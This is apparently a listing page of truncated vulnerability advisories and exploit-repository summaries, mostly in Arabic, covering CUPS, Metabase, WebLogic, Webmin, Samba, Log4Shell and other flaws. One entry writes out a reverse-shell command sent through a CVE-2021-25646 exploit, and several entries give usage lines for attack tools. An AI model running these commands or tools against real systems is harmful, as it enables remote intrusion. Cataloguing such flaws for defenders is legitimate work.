CVE-2026-90252

A flaw was found in the Bluetooth Management MGMT component of the Linux kernel. When a Host Controller Interface HCI command is cancelled, the associated memory is not properly freed, leading to a memory leak. This issue can also prevent the management socket from being released, potentially...

EUVD-2026-92637

An argument injection flaw was found in CUPS. When email notification is configured, the CUPS scheduler accepts printer subscription requests that supply a mailto notify-recipient-uri. The mailto notifier passes the recipient address to the configured sendmail program without ensuring it cannot b...

CVE-2026-105326 Cups: cups: argument injection in mailto notifier via notify-recipient-uri

An argument injection flaw was found in CUPS. When email notification is configured, the CUPS scheduler accepts printer subscription requests that supply a mailto notify-recipient-uri. The mailto notifier passes the recipient address to the configured sendmail program without ensuring it cannot b...

CVE-2026-105326

An argument injection flaw was found in CUPS. When email notification is configured, the CUPS scheduler accepts printer subscription requests that supply a mailto notify-recipient-uri. The mailto notifier passes the recipient address to the configured sendmail program without ensuring it cannot b...

CVE-2026-105326

An argument injection flaw was found in CUPS. When email notification is configured, the CUPS scheduler accepts printer subscription requests that supply a mailto notify-recipient-uri. The mailto notifier passes the recipient address to the configured sendmail program without ensuring it cannot b...

mcpjam-cve-2026-23744-validator

مدقق الأمان المصرح به لـ MCPJam Inspector مدقق إثبات مفهوم محدود لـ CVE-2026-23744 الذي يؤثر على نشرات MCPJam Inspector الضعيفة. هذا المشروع هو أداة تحقق مستقلة وغير تخريبية لـ CVE-2026-23744 الذي تم الكشف عنه سابقًا. إنه ليس الإفصاح الأصلي عن الثغرة أو الاستغلال. هذا المستودع مخصص لمتخصصي الأمن...

CVE-2021-25646

الاستخدام: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd الريباوند شيل كما يلي: كتابة سكريبت الريباوند شيل python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" منح صلاحية التنفيذ لسكريبت الشيل python3 CVE-2021-25646.py -u http://x.x.x.x -c...

CVE-2023-38646

CVE-2023-38646 Metabase Pre-Auth RCE تسمح Metabase مفتوحة المصدر قبل الإصدار 0.46.6.1 وMetabase Enterprise قبل الإصدار 1.46.6.1 للمهاجمين بتنفيذ أوامر تعسفية على الخادم، بمستوى صلاحيات الخادم. لا يلزم المصادقة للاستغلال. الإصدارات الأخرى التي تم إصلاحها هي 0.45.4.1 و1.45.4.1 و0.44.7.1 و1.44.7.1...

CVE-2020-14882

شكرًا لـ NS-Sp4ce وJas502n وs1kr10s وdemon و斯文 المراجع: https://github.com/NS-Sp4ce/CVE-2020-14882 https://github.com/jas502n/CVE-2020-14882 https://github.com/s1kr10s/CVE-2020-14882 الاستخدام: CVE-2020-14882.py -h -u URL -f FILE -c CMD وسائط اختيارية: -h, --help يعرض رسالة المساعدة هذه ثم يخرج -...

CVE-2019-15107

CVE-2019-15107 Webmin 1.890 تنفيذ التعليمات البرمجية عن بُعد بدون مصادقة تم تصميم هذا السكريبت لاستغلال ثغرة تنفيذ الأوامر بدون مصادقة في Webmin 1.890. يتيح لك تنفيذ أوامر عشوائية على خادم Webmin الهدف أو الحصول على شل عكسي. الاستخدام يأخذ الاستغلال 5 وسائط: $ python3 test.py -h usage: test.py -h...

Node.js-CVE-2024-39943

ثغرة تنفيذ الأوامر في Node.js HFS CVE-2024-39943 الدفعة الثالثة من مدرسة القبعة البيضاء – نو جونغ مين @JenmrR الملخص في بيئة خادم HFS القائمة على Node.js، توجد ثغرة يتم فيها تنفيذ محتوى الملف المرفوع عبر childprocess.execSync. يمكن للمهاجم تنفيذ أوامر نظام التشغيل مباشرة من خلال ميزة رفع الملفات،...

CVE-2007-2447

CVE-2007-2447 Samba 3.0.0 - 3.0.25rc3 معرّضة لثغرة حقن الأوامر عن بُعد CVE-2007-2447، والتي تتيح للمهاجمين عن بُعد تنفيذ أوامر اعتباطية عن طريق تحديد اسم مستخدم يحتوي على أحرف وصفية للصدفة shell meta characters...

CVE-2014-0196

انظر https://vulners.com/cve/CVE-2014-0196...

CVE-2020-35729

المعلومات Exploit Title: Klog Server 2.4.1 - Command Injection Unauthenticated Date: 22.12.2020 Exploit Author: b3kc4t Mustafa GUNDOGDU Vendor Homepage: https://www.klogserver.com/ Version: 2.4.1 Tested On: Ubuntu 18.04 CVE: 2020-35729 Description:...

evil-rmi-server

evil-rmi-server خادم RMI خبيث يمكنه تشغيل أمر عشوائي. قد يكون مفيدًا لـ CVE-2021-44228 في سيناريو تصعيد الامتيازات محليًا. البناء ./gradlew bootJar التشغيل Usage: java -jar build/libs/evilRMIServer-1.0-SNAPSHOT.jar -hV -p= An evil RMI Server to help construct and run an arbitrary command. The...

CVE-2019-10999

استغلال D-Link يوجد الاستغلال في خادم الجهاز، alphapd، عند معالجة wireless.htm قبل عرضه للمستخدم. إذا تم توفير WEPEncryption في عنوان URL، فإن ذلك يؤدي إلى تجاوز سعة المخزن المؤقت إذا كانت القيمة أطول من 0x28 بايت. عنوان URL من الشكل:...

CVE-2024-53407

CVE-2024-53407 Dans Phiewer 4.1.0, une injection de dylib conduit à une exécution de commande, permettant aux attaquants d'injecter un fichier .dylib, ce qui peut entraîner un contrôle à distance et un accès non autorisé à des données utilisateur sensibles sous macOS. Reproduction utilisez le...

Apache-CVE-2021-41773

CVE-2021-41773 Apache HTTP Server Path Traversal المساهمون 이희수@lheeeesoo يوجد ثغرة في Apache HTTP Server 2.4.49، حيث يفشل في حظر المسار الأصلي المشفر بشكل صحيح أثناء عملية تطبيع مسار URL. يمكن للمهاجم استخدام قيمة مثل .%2e للانتقال خارج الدليل الذي تم تكوين الخادم لمشاركته. في البيئات التي يُسمح...

CVE-2025-27636-Practical-Lab

🛡️ CVE-2025-27636 — مختبر استغلال عملي لـ Apache Camel 🔍 نظرة عامة CVE-2025-27636 هي ثغرة تنفيذ أوامر عن بُعد RCE حرجة في Apache Camel ، وتحديداً في المكون camel-exec. تنشأ من مشكلة خفية ولكنها خطيرة: DefaultHeaderStrategy يقوم بعمليات التحقق من أسماء الرؤوس headers مع حساسية حالة الأحرف...

CVE-2026-8037-POC

CVE-2026-8037-POC يشمل اكتشاف الأوامر القابلة للتنفيذ و getShell بنقرة واحدة يتطلب نشر خدمة على الخادم يمكن استخدام pco.yaml مع nuclei للاكتشاف السريع البدء السريع الوضع التفاعلي python go.py أدخل عنوان URL الهدف ← اختر قائمة الوظائف. اكتشاف الهدف اكتشاف سريع 8 معلومات أساسية python go.py -t...